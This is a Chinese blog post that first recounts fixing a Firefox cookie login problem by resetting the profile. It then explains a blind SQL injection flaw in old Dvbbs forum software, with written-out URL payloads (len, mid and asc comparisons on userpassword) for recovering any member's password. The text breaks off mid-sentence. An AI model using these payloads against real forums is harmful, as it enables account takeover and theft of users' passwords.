无意中在上一些论坛时,出现了明明已经注册进入了,但还是在转向一个页面时,变为了游客;清空了cookie,还是这个问题,奇怪。网上搜索一下,这方面问题还不少,有的说是从ie中导入引起的,清空以后就没问题了;我试了这个方法,不行。然后我又到了firefox配置目录下,就是那个在Documents and Settings目录之中的那个,找到cookie文件,找到一些历史性记录,然后又清空各种隐私记录,重启firefox,然后再到论坛上试,还是问题依旧。
算了,不一点点找了;虽然firefox开源,为这小问题,也不至于到论坛上去找源码的问题;把现有插件备份至一个位置,由于装有foxmarks插件,不用担心书签备份问题,然后删除Documents and Settings下的Mozilla\Firefox\Profiles\5gyri3k3.default的所有文件,然后重新安装firefox1.5.0.7,安装之后,到论坛上试了一下,没有问题,页面转向正常,说明cookie验证很正常。然后又把插件拷至新的Mozilla\Firefox\Profiles\*.default目录,重启firefox,提示foxmarks验证向导,验证后,书签下载至本地,解决了书签问题,然后插件已经再次全部安装完毕;再次至论坛上试验证问题,正常。
2、比起前者,第二个漏洞问题就大啦,利用该漏洞可以破解掉论坛上所有注册会员的密码(恐怖~~~),由于论坛管理员通常直接把论坛程序载下来梢加以美工就拿来使用了,图方便直接导致了漏洞的出现,我们也载一个回来,只要看一下动网的数据库,就知道了密码的字段为userpassword,接着例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc ,在dispuser.asp中,读取参数的语句是:username=trim(request(“name”)),数据库的查询的语句是: sql=”select * from [user] where username=’”&username&”‘”,看得出来, abc就是直接被作为了dispuer的一个参数username,另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword=”******”,理论上这样就可以实现对密码的破解了,但这么破要破到何年何月,现在就要轮到VBS函数大显身手了,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20’1′=’1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql=”select * from [User] where username=’abc’ and len(UserPassword)=5 and ’1′=’1′”,现在明白点了吧,%20是空格,abc后面的单引号和’1′=’1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)=’a,如果猜对了就给出用户资料,猜对了就给出该用户不存在的提示,这样子还是嫌太慢,那就在外面再套个asc函数,http://xxxxx/dispuser.asp?name=abc'%20and%20asc(mid(userpassword,1,1))>’50 试出用户密码的ASCII码是否大于50,不断地缩小范围,相信很快就能将范围缩小至个位数,看到这里你是否惊出了一身冷汗,起码我是如此,*几个函数的灵活运用,保守地说,不出半小时就能破解出密码。真是不幸中的大幸,动网开发者在后来的05**版后使用了MD5的加密,这下子总算放心了,但介于国内还有许多地方在使用老版本的动网论坛(包括一个小有名气的flash站点)